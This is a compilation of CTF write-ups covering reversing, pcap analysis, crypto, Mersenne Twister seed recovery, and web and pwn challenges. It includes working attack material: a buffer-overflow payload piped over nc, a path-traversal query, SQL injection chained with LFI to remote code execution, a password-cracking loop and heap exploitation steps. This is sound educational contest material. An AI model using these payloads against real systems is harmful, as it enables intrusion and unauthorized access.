Znów retdec poległ na generacji sensownego kodu, ale zamysł jest taki, ze generujemy tu string format zależny od wartości zmiennej wczytanej wcześniej i za pomocą tego formatu pobieramy dane.Dane idą do bufora który był przygotowany przez:
```cmemset((char *)&v1, 0, 512);```
Więc ma 512 bajtów, a tworzenie formatu i pobieranie danych jest w warunku:
```cif ((int16_t)v6 < 513)```
Wydawałoby się, że nie możemy podać niczego ponad 512, więc nie wygenerujemy string format, który pozwolilby na overflow.Popatrzmy jednak jeszcze raz na format według którego pobierany jest rozmiar: `%5hu`, więc 5 cyfr i czytamy `unsigned short`.5 cyfr to dużo skoro oczekujemy nie wiecej niż `512`...
Popatrzmy teraz na warunek jeszcze raz: `(int16_t)v6 < 513`. A przecież `int16_t` to `signed short`!Mamy więc błąd signed-unsigned.Można więc przemycić wartość większą niż 512, o ile po zrzutowaniu do typu signed jej wartość będzie mniejsza niż 513, co jest trywialne, bo każda wystarczająco duża liczba będzie ujemna.
Więc schemat ataku to:
1. Wysyłamy losowe imie.2. Wysyłamy `Y` (chcemy wysłać feedback)3. Wysyłamy dużą liczbę która pozwoli nam utworzyć string format umożliwiający overflow4. Wysyłamy dane przepełniające bufor i nadpisujący adres powrotu z funkcji (532 bajty + adres) na adres funkcji wypisującej flagę (0x104d8).
```python -c "print('A\n'+'Y\n'+'65536\n'+('A'*532)+chr(0xd8)+chr(0x04)+chr(0x01)+'\n')" | nc6 165.227.98.55 2222```
I dostajemy: `h4ck1t{Astronomy_is_fun}` |
This challenge provided me with a .pcap and not much more information. I began by loading it into wireshark and sorting the packets by length to find the ones with the most information. One of these packets held the text “Apple Keyboard.” Looks like we're dealing with a HID keyboard. I googled around and found the HID keyboard codes (http://www.freebsddiary.org/APC/usb_hid_usages.php), now the challenge becomes a matter of converting the codes to the proper keys.```no_shift = { "00": "", "01": "", "02": "", "02": "", "03": "", "04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i", "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r", "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1", "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0", "28": "\n", "29": "<ESC>", "2a": "<DEL>", "2b": "<TAB>", "2c": " ", "2d": "-", "2e": "=", "2f": "[", "30": "]", "37": ".", "51": "↓", "52": "↑"}```I extracted the capture data with tshark: ```tshark -r task.pcap -Y "frame.len==35" -T fields -e usb.capdata > data.txt```I loaded this file into a simple python script to extract the important values based on their location in the string, and compared them to the HID codes, checking whether the shift modifer was pressed. At first glance, this output was useless. ```wkfb3↑[↑l↑#↑{w$↓b↓ag↓[e↓ci[↑[f↑{k↑n$↑ju}↓↓3↓u↓%=↑↑y↑6↑↓p↓b↓7↓%&↑d↑0↑j↑pt↓i↓a↓[↓k(↑=↑r↑m↑]=↓0↓d↓↓lc↑*↑_↑{↑j%↓u↓s↓(↓*2↑0↑n↑↑9↓h↓4↓]↓y4↑↑k↑↑+p↓f↓e↓$↓!}↑1↑_↑k↑s&↓s↓2↓c↓%q↑$↑.↑!↑#↓s↓0↓c↓z3↑e↑}↑-↑i```But when I realized the excess number of arrow key inputs were important, we found the solution.By keeping track of which line we are on, we can only print the important line, and voila, a flag! |
Reverse the logic of the executable file, you can understand the communication process between the client and the server.1. Each time the client sends msg to server, it generates a clientSessionKey used to encrypt the msg, and the encryption algorithm is xor. The ciphertext1 is xor(msg, clientSessionKey), and when it's sent to the server, it's base64 encoded.2. when the server receives the ciphertext from client, it first base64 decode and then generates a serverSessionKey, and encrypt the ciphertext with it. The ciphertext2 is xor(ciphertext1, serverSessionKey). The server sends the ciphertext2 back to client.3. The client encrypts the ciphertext2 with clientSessionKey again and sends to the server. The ciphertext3 is xor(ciphertext2, clientSessionKey).
So we can summerize the communication.1. c1 = msg ^ clientSessionKey2. c2 = c1 ^ serverSessionKey = msg^clientSessionKey^serverSessionKey3. c3 = c2 ^ clientSessionKey = msg^clientSessionKey^serverSessionKey^clientSessionKey = msg^serverSessionKey
so if we know c1, c2 and c3, we calculate c1^c2^c3 = msg, and the we can extract c1, c2 and c3 from the given pcap which is base64 encoded and we know all message between client and server. The flag is just in the message. |
```After Install new version of john we are able to crak this in less than 2 minutes.
time for i in {500..1}; do zip2john zipfile_$i.zip > hash.txt ; /root/app/JohnTheRipper/run/john hash.txt --wordlist=/usr/share/seclists/Passwords/rockyou.txt;pass=$(/root/app/JohnTheRipper/run/john hash.txt --show | cut -d: -f2 | head -n 1 );unzip -P $pass zipfile_$i.zip ; rm zipfile_$i.zip ;done
Archive: zipfile_1.zip extracting: zipfile_0.zip
real 1m24.926suser 3m31.381ssys 0m10.224s
#unzip zipfile_0.zip Archive: zipfile_0.zip inflating: flag.txt
cat flag.txt **d4rk{7h1s_w0uldve_t4k3n_s0m3_t1m3}c0de**``` |
# Asby`100pts` `331 solves` `Binary`
-----
* *@author*: derbenoo * *@note*: The original write-up is located [here](https://derbenoo.github.io/ctf/2017/08/11/sha2017_ctf_asby/)
-----
## Challenge Description
Eindbazen team member asby has by far been putting the most energy and time in creating the SHA2017 CTF. To honor his dedication and all his effort we created this challenge as an ode to him.
You can choose to reverse engineer this challenge or you can "asby" it. Good luck with the option you choose.
`asby.tgz 7422948a4034252d45cee02753b3d13b`
## Overview
We download and extract the provided archive file. Looks like we are dealing with a Windows executable:
```$ file asby.exeasby.exe: PE32 executable (console) Intel 80386, for MS Windows```
We start our Win7 VM and execute the program:
```$ ./asby.exeWhat is the flag? testChecking char 1:WRONG!What is the flag? flag{123Checking char 1:CORRECT!Checking char 2:CORRECT!Checking char 3:CORRECT!Checking char 4:CORRECT!Checking char 5:CORRECT!Checking char 6:WRONG!What is the flag?```
Interesting, apparently we have some kind of oracle that we can query to check whether our flag is correct or not. It even tells us up to which character our flag is correct so it should be trivial to brute-force the flag out of the program.
## Extracting the flag via brute-forcing
We run Python 2.7 using the `cygwin` utility under Windows 7 to automate the flag extraction. The asby executable does not terminate after a wrong flag was entered, instead the user is prompted again to input a flag. We therefore execute the program and set the `stdout` pipe to non-blocking. Now we are able to input a flag, read the response and input another flag. We also know that a wrong character will cause the program to output `WRONG!`, which we can use to check whether or not we guessed the character correctly. We know that the flags are md5 digests and can therefore set our alphabet to `0123456789abcdef`. Lastly, we can already skip the first 5 characters as they are always `flag{`.
``` Python#!/usr/bin/python2
import os, sys, fcntl, time, subprocessfrom subprocess import Popen, PIPE, STDOUT
def setNonBlocking(fd): flags = fcntl.fcntl(fd, fcntl.F_GETFL) flags = flags | os.O_NONBLOCK fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def read(p): while True: try: out1 = p.stdout.read() except IOError: continue else: break return out1
p = Popen("./asby.exe", stdin = PIPE, stdout = PIPE, stderr = PIPE, bufsize = 1)setNonBlocking(p.stdout)setNonBlocking(p.stderr)
flag= "flag{" alphabet= "0123456789abcdef"
try: while 1: for ch in alphabet: found= False newFlag= flag+ch+"\n" sys.stdout.write("\r"+newFlag[:-1]) p.stdin.write(newFlag) out1= read(p) time.sleep(0.05) if not "WRONG!" in out1: flag+= ch found= True break if not found: break
flag+= "}" print "\nExtracted flag: "+flag p.stdin.write(flag+"\n") print read(p)
print "\nFinished." p.kill()
except KeyboardInterrupt: print "\nKilling asby.exe" p.kill() sys.exit()```
The flag is: `flag{024baa8ac03ef22fdde61c0f11069f2f}` |
It's the exact same as Keygen-1, but a little different. Let's just connect to the given port and see what does it want? ``` $ nc defcon.org.in 8083 Send me 10 keys for getting a match separated by \n, followed by a NULL/EOF character. ``` No executable is given for this challenge, and it's given that it's related to Keygen-1. So, we just send the key obtained in previous challenge, repeated 10 times, separated by \n. ``` $ echo "5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575\n5976657559745958655976555564937857597575" | nc defcon.org.in 8083
Flag: d4rk{r0ck1ng_keyg3n_123}c0de ``` |
##### **I hate JS, I seriously do. It is a mess.**##### ##### **Hint: Just get over your fear of JS and try this challenge.**
Downloading the zip, extracting the ihatejs.js file and linking it with a html file using the following code:```<html> <head></head> <body> <script src="ihatejs.js"> </script> </body></html>```
Open up this html file in a browser, open up the console and voila!The flag is on the screen : **d4rk{ccjccpbsvrafrcatbpchjydiio}c0de**
|
file download vuln -> download.php?f=951470281beb8a490a941ac73bd10953 download.php
// TWCTF{then_can_y0u_read_file_list?} $filename = $_GET['f']; if(stripos($filename, 'file_list') != false) die(); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='$filename'"); readfile("uploads/$filename");
if(stripos($filename, 'file_list') != false) die();
-> stripos("file_list", "file_list") == false (vuln)
-> stripos("file_list", "file_list") === false (not vuln)
-> ?f=file_list../../file_list.php
|
# Rev300 - APIServer
**Description:** Client can access the API server. Try to login as an admin who is used to use the same passwords everywhere.
Another APK, but harder (= native code). Only 4 teams in total solved this task! It looks like a simple API where you can register users and retrieve information about the API. All the messages are send via POST and signed with a signature. So far so good, lets take a sniff with Wireshark:
**Register**```POST /api/register HTTP/1.1Content-Type: text/plain; charset=utf-8Content-Length: 102Host: 195.88.243.197:8060[...]sig_body=f8c13266314f9f7f989e3b49d0be30eac0969f24d9a0d9698a965a7efaca1a69.name%3Duser%26&sig_version=4
HTTP/1.1 200 OK[...}Server: H4CK1TServer/v2017.08
personal_key=h4ck1t48bb6e862e54f2a795ffc4e541caed4d```**Info**```POST /api/info HTTP/1.1[...]sig_body=b3a8db7e1ec33b1802d02610db62878c9c7337efac479e1e461ec896f6d43d2a.personal_key%3Dh4ck1t48bb6e862e54f2a795ffc4e541caed4d%26&sig_version=4
HTTP/1.1 200 OK[...]Server: H4CK1TServer/v2017.08
1) method=register, params=[name : 'your name'] = personal_key2) method=info, params=[personal_key : 'your registration key' = TEXT]3) method=login_admin, params=[hex_password : 'My password in HEX. Im stupid admin and use a SINGLE password everywhere :)']```The Android app only implements register and info. We get a big hint here: the admin uses the same password everywhere!
Lets dive into reversing: The Java client has a function "buildPostArgs()" which iterates all the post parameters, concats and signs them:```// buildPostArgs() // str1 holds all the post args in one string byte[] arrayOfByte = MainActivity.signature(str1.getBytes()); try { Object[] arrayOfObject = new Object[2]; arrayOfObject[0] = new String(Hex.encodeHex(arrayOfByte)); arrayOfObject[1] = URLEncoder.encode(str1, "UTF-8"); String str3 = String.format("%s.%s", arrayOfObject); str2 = str3; return String.format("sig_body=%s&sig_version=4", new Object[] { str2 }); }x```The "signature" function is implemented via JNI, so we load the [libsignatures.so]() in IDA.``` v3 = a1; v4 = a3; operator new[](0x20u); v5 = (*(int (__fastcall **)(int, int))(*(_DWORD *)v3 + 684))(v3, v4); v6 = v5; if ( (signed int)v5 <= -1 ) v5 = -1; v7 = operator new[](v5); (*(void (__fastcall **)(int, int, _DWORD, unsigned int))(*(_DWORD *)v3 + 800))(v3, v4, 0, v6); v8 = sub_4660(); v9 = v8; *(_DWORD *)v8 = 'kc4h'; *(_WORD *)(v8 + 4) = 't1'; v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)v3 + 684))(v3, v4); sub_485C(v7, v10, v9, 40); v11 = (*(int (__fastcall **)(int, signed int))(*(_DWORD *)v3 + 704))(v3, 32); (*(void (__fastcall **)(int, int, _DWORD, signed int))(*(_DWORD *)v3 + 832))(v3, v11, 0, 32); return v11;```Quite confusing, isn't it? Lets clean this mess up:``` v3 = a1; v4 = a3; operator new[](0x20u); length = strlen(javastring) argumentString = new char[](length); v8 = copyJNIStringToCString(javastring) // Wierd function we know nothing about ! v9 = sub_4660(); v10 = v9; // Signature bytes ? *(_DWORD *)v9 = 'kc4h'; // FIll the first chars with h4ck1t *(_WORD *)(v9 + 4) = 't1'; // No idea v11 = (*(int (__fastcall **)(int, int))(*(_DWORD *)v3 + 684))(v3, v4); // Actual signing sub_485C(argumentString, v11, v10, 40); // Copy native bytes to Java Byte Array, etc... v12 = (*(int (__fastcall **)(int, signed int))(*(_DWORD *)v3 + 704))(v3, 32); (*(void (__fastcall **)(int, int, _DWORD, signed int))(*(_DWORD *)v3 + 832))(v3, v12, 0, 32); return v12;```A little bit better, but still no idea how the signature is produced. IDA comes with a great Android GDB server and I even rooted my phone for this challenge. After some tracing around in the library you pretty fast get lost. There are basicly two signing functions that are applied to certain memory regions with static input data and offsets.
So what about this wierd sub_4660 function ? It takes no argument, altough it computes something... And it applies some XOR to a static memory string! And its used by the signature function!! Lets imagine a signing function as sign(inputBuffer, outputBuffer, key) , then v9 (= v10) matches the key ! And the key starts with h4ck1t, so maybe we found the "password" of the admin! It was a plain guess, but it was worth a try. So i dumped the memory of v9 after it was decrypted and stored it as hex string:
```6834636B31741E301EE91B1CEC1EEFEE1CE919F436F4E9E925EF261BE8ED1B29F4ED1E1C191F1B1B```
Next I sent it in as hex string to login_admin. But the request was refused (of course) since we had no signature for this certain post parameters. Replacing the input of the signature-function via the IDA debugger didn't work, so i simply patched the smali code to sign this certain message for me:``` const-string v1, "name" iget-object v2, p0, Lanative/hackit2017/com/apiclient/Api$1;->val$name:Ljava/lang/String;
.line 18invoke-virtual {v0, v1, v2}, Lanative/hackit2017/com/apiclient/Client;->addPost(Ljava/lang/String;Ljava/lang/String;)Lanative/hackit2017/com/apiclient/Client;```PATCHED TO:```const-string v1, "hex_password"const-string v2, "6834636B31741E301EE91B1CEC1EEFEE1CE919F436F4E9E925EF261BE8ED1B29F4ED1E1C191F1B1B"
.line 18invoke-virtual {v0, v1, v2}, Lanative/hackit2017/com/apiclient/Client;->addPost(Ljava/lang/String;Ljava/lang/String;)Lanative/hackit2017/com/apiclient/Client;```So the next time i triggered "register" on the installed and modified app, the post message was signed. Without any big hope I send it via curl and had a good laugh when it was right at the first try!```user@ubuntu:~/Schreibtisch/ITCTF/lab1$ curl -X POST http://195.88.243.197:8060/api/login_admin --data "sig_body=45cb847e3bafe29b044276b2c23532162c690516ea1e7e3398accb525ba41082.hex_password%3D6834636B31741E301EE91B1CEC1EEFEE1CE919F436F4E9E925EF261BE8ED1B29F4ED1E1C191F1B1B%26&sig_version=4"flag=h4ck1t{wH3n_u_trY_t0_h1d3_smTh_b3_r34dY_f0r_d1sc10sur3}```
Flag: h4ck1t{wH3n_u_trY_t0_h1d3_smTh_b3_r34dY_f0r_d1sc10sur3} |
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Here my solution for the "inst_prof" pwnable using radare2, IDA Pro, pwntools and more: [https://dilsec.com/2017/07/09/google-ctf-inst_prof-v2-keeping-it-simple/](https://dilsec.com/2017/07/09/google-ctf-inst_prof-v2-keeping-it-simple/) |
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```#!/usr/bin/env python2
import osimport pwnfrom Crypto.Util.number import long_to_bytes
p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201g = 2
if __name__ == '__main__': if 'REMOTE' in os.environ: r = pwn.remote('ppc2.chal.ctf.westerns.tokyo', 28459) else: r = pwn.process('./server.py')
flag = 0
r.sendline(hex(0)) ini = int(r.readline().strip(), 16) for n in range(p.bit_length()): r.sendline(hex(1 << n)) c = int(r.readline().strip(), 16) if ini == (c * pow(g, 1 << n, p)) % p: flag += (1 << n) prev = c print(n)
print(flag) print(long_to_bytes(flag))``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>tokyowesterns2017</span></span><span>/</span>rev-led<span>/</span> </div> </div>
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# Backpacker's Problem - Programming - 177 points - 20 solvers
> Enjoy PPC!>> `$ nc backpacker.chal.ctf.westerns.tokyo 39581`>> [backpacker-server.7z](./backpacker-server.7z-cac1702a29b9c29af680939d8b40e62325046c9d47faf5f7fdb322fb75c9f728)
In this challenge we have to solve 20 [Subset sum](https://en.wikipedia.org/wiki/Subset_sum_problem) problems, in increasing difficulty from 10 items to 200 items. Subset sum is a variant of the [Knapsack problem](https://en.wikipedia.org/wiki/Knapsack_problem), which is where the challenge gets it name. As this problem is [NP-Complete](https://en.wikipedia.org/wiki/NP-completeness), the processing power required to solve a problem increases exponentially with the size of the problem.
In this challenge, pure brute force can only solve the first two problems of size 10 and 20. Using [meet-in-the-middle](http://www.geeksforgeeks.org/meet-in-the-middle/) we can solve the four first problems, up to size 40. More advanced techniques can solve up to problem five and six (Someone mentioned using [LLL](http://www.math.ucsd.edu/~crypto/Projects/JenniferBakker/Math187/#Anchor-Th-54278) but I haven't looked into that), but it's clear that it's impossible to solve this challenge if we approach it as a pure algorithmic problem.
However, we are given the server source code, which is normally a good indication that we have to find a flaw in the actual algorithm implementation. The most obvious issue with the code is that the random numbers are generated via the [Mersenne Twister](https://en.wikipedia.org/wiki/Mersenne_Twister) PRNG.
Problem sets are generated this way:* set `n = 10x` where `x` is the problem set number* generate `n/2 - 1` PRNG 'solution' integers, each 100 bits in length* sum them all up, then add the negative of this as an extra integer, ensuring that the first half sums to zero* generate `n/2` additional PRNG integers* sort the numbers, which shuffles the 'solution' integers in with the non-solution ones Because the integers are 100 bits long, we can recover three out of every five PRNG outputs. This is not enough to recover the full PRNG state and we can't use attacks like the [Mersenne Twister Predictor](https://github.com/kmyk/mersenne-twister-predictor). We spent some time trying to look for flaws in how the problem sets are generated, but didn't find any exploitable issues.
Let's look at the [Python implementation](https://en.wikipedia.org/wiki/Mersenne_Twister#Python_implementation) of the Mersenne Twister.
def __init__(self, seed): # Initialize the index to 0 self.index = 624 self.mt = [0] * 624 self.mt[0] = seed # Initialize the initial state to the seed for i in range(1, 624): self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i) Initially, the array `mt` is filled with 624 32bit integers generated from a 32bit seed. This process is trivial to invert - if you know any `mt[i]` it is possible to calculate backwards and find the original `seed`. However, before the array is used (and every time the array has been "used up") a `twist()` function is called to further diffuse the randomness:
def twist(self): for i in range(624): # Get the most significant bit and add it to the less significant # bits of the next number y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff)) self.mt[i] = self.mt[(i + 397) % 624] ^ y >> 1
if y % 2 != 0: self.mt[i] = self.mt[i] ^ 0x9908b0df self.index = 0 If we can recover any of the `mt` array values before the twist was done, we can recover the seed. At first glance this seems hard since to recover either the original `mt[i+1]` or `mt[i+397]` you need the original other one, and they are overwritten later in the loop. Except...it loops around. For example, the new `mt[227]` will be generated from the values of the *new* `mt[0]` in combination with the *old* `mt[228]` If we know the new `mt[0]` and `mt[227]`, we can reverse the twist function and recover the original `mt[228]`, which then can be used to recover the PRNG seed. (We ignore the old `mt[227]` because it only contributes a single bit and is trivially bruteforceable).
If we manage to solve the first two problem sets and reach the third one, the server has used `5 * (10 + 20 + 30) = 300` PRNG values. The 0th and 227th of these values are the ones we need, and because of the way the 100 bit integers are generated, we know that the 0th and 227th will be among the PRNG values we are able to extract.
The only issue remaining is that we don't know exactly which of the extracted values are the 0th and 227th due to the sorting of the problem sets, but trying all pairs of values is easily bruteforceable.
Our core code to find candidate seeds:
def get_seeds(m0, m227): seeds = [] y_even = (m227 ^ m0) << 1 y_odd = (((m227 ^ m0 ^ 0x9908b0df) << 1) & 0xffffffff) | 1 for y in (y_even, y_odd): for oldm227_upperbit in (0, 0x80000000): for oldm228_upperbit in (0, 0x80000000): n = y ^ oldm227_upperbit ^ oldm228_upperbit for i in xrange(228, 0, -1): n = ((n - i) * 2520285293) & 0xffffffff n = n ^ (n >> 30) seeds.append(n) return seeds
There are eight possible candidate seeds, depending on whether `y` originally was odd or even, and whether the upper bits of the original `m[227]` and original `m[228]` were set. We brute force over these possible candidates for all recovered PRNG values, then initialize the MT with each of the seeds in order, generating a few PRNG values for each seed to see if we get a match.
When we get a match and know the seed, we can just follow the same procedure as the server and generate the same problem sets as the server does. Due to the way they are generated, we instantly know the correct solution, and can simply send it to the server. After the 20th challenge is done, we got the flag `TWCTF{CPP_have_some_traps}`. |
Please, do not write just a link to original writeup here.
[Link to original writeup.](https://github.com/Keramas/CTF-Writeups/blob/master/TokyoWestern2017-JustDoIt!.md) |
> rev200> > Description: You haxor, come on you little sciddie... debug me, eh? You fucking little lamer... You fuckin' come on, come debug me! I'll get your ass, you jerk! Oh, you IDA monkey! Fuck all you and your tools! Come on, you scum haxor, you try to reverse me? Come on, you asshole!!>> Webpage: [rev200.zip](https://0xd13a.github.io/ctfs/hackit2017/rev200/rev200.zip)
The attachment is a Windows DLL. Let's open it in IDA and look for interesting artifacts.
```efi_main``` function asks for a flag and then runs function ```algo``` on it:
```....text:00000000709412AD lea rcx, aEnterTheFlag ; "Enter the flag: ".text:00000000709412B4 call Input....text:00000000709412F5 lea rax, [rbp+var_A0].text:00000000709412FC mov rcx, rax.text:00000000709412FF call algo...```
Function ```algo``` performs a bunch of permutations on flag's characters and then compares it to ```correct``` constant (which is ```40``` 32-bit integers long, one per each flag's character):
```....text:00000000709411FF lea rdx, correct.text:0000000070941206 mov rcx, rax.text:0000000070941209 call memcmp.text:000000007094120E test eax, eax.text:0000000070941210 jnz short loc_70941220.text:0000000070941212 lea rcx, Format ; "\nCorrect\n".text:0000000070941219 call Print.text:000000007094121E jmp short loc_7094122C.text:0000000070941220 ; ---------------------------------------------------------------------------.text:0000000070941220.text:0000000070941220 loc_70941220: ; CODE XREF: algo+19F.text:0000000070941220 lea rcx, aWrong ; "\nWrong\n".text:0000000070941227 call Print...```
Skipping the encoding algorithm details, here is the summary:
* For each of the 20 characters in the first half the flag: XOR with 0xC, add 6, XOR with 0xD, add 7, XOR with 0xE, add 8* For each of the 20 characters in the second half the flag: XOR with 0xF, add 9, XOR with 0x10, add 10, XOR with 0x11, add 11
A small script will help automate the decoding:
```pythondata = bytearray(open("rev200.efi","rb").read())
enc1 = lambda c : (((((c ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8enc2 = lambda c : (((((c ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11
out = ""
for x in range(20): for z in range(0x7F): if (data[0x5400 + x*4] == enc1(z)): out += chr(z) for x in range(20): for z in range(0x7F): if (data[0x5400 + 80 + x*4] == enc2(z)): out += chr(z) print out```
Running the script gets us the flag ```h4ck1t{ff77af3cf8d4e1e67c4300aeb5ba6344}```:
```sh$ python solve.py h4ck1t{ff77af3cf8d4e1e67c4300aeb5ba6344}``` |
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Who are you================Binary được nén với UPX. Load vào x64dbg, sau khi dừng tại Entry Point của chương trình, step qua các instruction push thanh ghi vào stack, đặt một hardware breakpoint tại `rsp` và continue (`F9`). Chương trình dừng tại các lệnh pop stack (triggered hw bp). Tại đây quá trình unpack đã hoàn thành, tìm kiếm các string và reference đến hàm main của chương trình: Hàm `main` đọc 8 bytes từ input và lưu vào thanh ghi `rcx` (là đối số duy nhất của hàm `check_flag`) Hàm `check_flag` thực hiện các phép tính đơn giản bao gồm `sub`, `add`, `xor`, `rol`, `ror` đối với giá trị input, flow được điều khiển bởi các lệnh `jump`. Ý tưởng: sử dụng scripting để ghi lại các instruction đã thực thi, bỏ qua các lệnh `jump` Sử dụng IDApython (IDA Pro) ```pythondisas = [GetDisasm(ScreenEA())]while 1: StepOver() GetDebuggerEvent(WFNE_SUSP, -1)a ea = ScreenEA() mnem = GetMnem(ea) if mnem.startswith("ret"): print "End of flag_check()" break if not mnem.startswith("j"): disas.append(GetDisasm(ea)) ``` Kết quả: ```asmrol rbx, 0x0A7mov rax, 0x0DDF9FB1EEEA42D00sub rbx, raxrol rbx, 0x22mov rax, 0x3D351578B4AD3395add rbx, rax...mov rax, 0x18CBB7849EF17CC2sub rax, rbxret```Nhận xét:* Kết quả trả về của hàm này phải bằng 0 (xem lại hàm main), có nghĩa là sau quá trình tính toán trên, giá trị input phải bằng`0x18CBB7849EF17CC2`* Các phép toán thực hiện chỉ bao gồm 2 thanh ghi `rax` và `rbx` (input)* Các phép tính đều có thể inverse
Có thể tính-toán-ngược để tìm lại giá trị input phù hợp:* Đảo ngược thứ tự thực hiện các instructions* `ror` -> `rol`* `rol` -> `ror`* `add` -> `sub`* `sub` -> `add`* Đảo ngược thứ tự của instruction `mov rax, ...` và instruction liền kề trước nó (sau khi đã đảo 1 lần nói trên)
Sử dụng [Keystone engine](http://www.keystone-engine.org/) và [Unicorn engine](http://www.unicorn-engine.org) để thực thi các instructions, cờ nhận được là `MeePwnCTF{f4k3f4k3}`. Tuy nhiên cờ không được chấp nhận, thử nhập lại key `f4k3f4k3` thì vẫn nhận được thông báo `nope! Go and find yourself :(` (hóa là là fake thật) -> Anti debug. Hàm `main` của chương trình bắt đầu tại địa chỉ `0x140001230`, để kiểm tra quá trình code modify của chương trình, mình sẽ đặt một hardware breakpoint tại đây và run lại chương trình. Sau khi break (packer bắt đầu ghi hàm main lên memory), chuyển qua GraphView của debugger, có thể dễ dàng nhận ra trick antidebug của tác giả ngay sau vòng lặp này:  Trick quen thuộc: tác giả kiểm tra cờ `BeingDebugged` trong PEB, nếu giá trị này bằng 0 (nghĩa là chương trình đang-không-bị-debug) thìthực hiện ghi vào memory tại địa chỉ `0x1400061B3` giá trị `0x6BA8F103D6E0FF17` ghi đè lên giá trị `0x18CBB7849EF17CC2` ở trên. Thực hiện chạy lại script với giá trị `rbx` mới để nhận được flag: `MeePwnCTF{uNp4ck3r}` Script: ```python from keystone import *from unicorn import *from unicorn.x86_const import *
ADDR = 0x400000
def solve_asm(d): for i in xrange(1, len(d)): expr = d[i] if expr.startswith("add"): expr = expr.replace("add", "sub") elif expr.startswith("sub"): expr = expr.replace("sub", "add") elif expr.startswith("rol"): expr = expr.replace("rol", "ror") elif expr.startswith("ror"): expr = expr.replace("ror", "rol") elif not (expr.startswith("mov") or not expr.startswith("xor")): # print expr pass d[i] = expr if expr.startswith("mov"): d[i], d[i-1] = d[i-1], d[i]
RunTo(0x140001265)GetDebuggerEvent(WFNE_SUSP, -1)StepInto()GetDebuggerEvent(WFNE_SUSP, -1)d = []while 1: StepOver() GetDebuggerEvent(WFNE_SUSP, -1) ea = ScreenEA() mnem = GetMnem(ea) if mnem.startswith("ret"): break if not mnem.startswith("j"): d.append(GetDisasm(ea))# Anti-anti-debugd[-2:] = ["mov rbx, 6BA8F103D6E0FF17h"]d.reverse()solve_asm(d)ks = Ks(KS_ARCH_X86, KS_MODE_64)code = ""for i in xrange(len(d)): encoding, count = ks.asm(d[i]) code += "".join([chr(x) for x in encoding])mu = Uc(UC_ARCH_X86, UC_MODE_64)mu.mem_map(ADDR, 1024 * 1024)mu.mem_write(ADDR, code)mu.emu_start(ADDR, ADDR + len(code))rbx = mu.reg_read(UC_X86_REG_RBX)print "Flag is: MeePwnCTF{{{}}}".format(hex(rbx)[2:].replace("L", "").decode("hex")[::-1]) ``` |
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# Parrot
## Vulnerability- Information leak - Write is not be terminate by null byte - It can leak some data on the heap
- A null byte overwrite - If you give a large size,it would read faild. - But it's not check and it would put a null byte to the address.
## Exploit- Leak libc - Create a unsorted bin on the heap - Using the vulnerability to leak data- Overwrite the last byte of `_IO_buf_base` with null byte in the stdin structure  - The pointer point to `_short_buf` which in the stdin structure at first - You will have a stdin buffer in stdin structure - If we use any stdin related functions, we could overwrite `_IO_buf_end` - Overwrite `_IO_buf_base` and `_IO_buf_end` - Use `scanf` to read data - It's can control the stdin buffer then you can write to arbitrary memory  - Overwrite `__free_hook` - Control the flow - [exploit](parrot.py) |
<h1>HackIT CTF 2017 Writeups</h1>
<h3>Crypto (100): </h3>Description shows that its a playfair cipher with same original message, we can use some online tools to bruteforce it https://www.quinapalus.com/playfair.html worked just fine, after extracting each message we get the keyword to cipher itand finally we append the keywords together and put them in flag format h4ck1t{hackitisverydangercrypto}
<h3>Web (100): </h3>This challenge is about SQLi+LFI and turn that to RCE with the upload functionLooks like easy sql injection, but after fetching all tables and columns, only thing we got is a table named countries with 3 columns, nothing interestingbut when we try to get current query with SQLi using SELECT info FROM information_schema.processlistWe see the query : Select scripPath from countries where countryname='something'thats looks like an LFI to mee, when we inject countryname='' union select '/etc/passwd' -- - we get passwd fileI used PHP wrappers to pull index.php and country/fr.phpusing countryname='' union select 'php://filter/read=convert.base64-encode/resource=country/fr.php'when we get source code we can base64 decode it and see where the file uploaded are storedThis is the final part, we need to leverage the upload to a Remote code execution, I used a zip file containing php and uploaded itand used a zip wrapper to execute my php, http://tasks.ctf.com.ua:13372/index.php?country=%27%20union%20select%20%27zip://uploads/l33t.zip%23secret.php%27%20--%20- my php file contains scandir function thats equivalent to 'ls' i got this response :Array ( [0] => . [1] => .. [2] => .htaccess [3] => country [4] => index.php [5] => iulersiueruigfuihseruhgi.php [6] => static [7] => uploads )that php file looked interesting, let's open it : http://tasks.ctf.com.ua:13372/index.php?country=%27%20union%20select%20%27php://filter/read=convert.base64-encode/resource=iulersiueruigfuihseruhgi.php%27%20--%20-got this : PD9waHAKCiRmbGFnPSJoNGNrMXR7JFFMJkxGST1GUjEzTkQkfSI7Cgo/Pgo= base64 decode it and find some php code with flag"$flag=h4ck1t{$QL&LFI=FR13ND$};"that's our flag
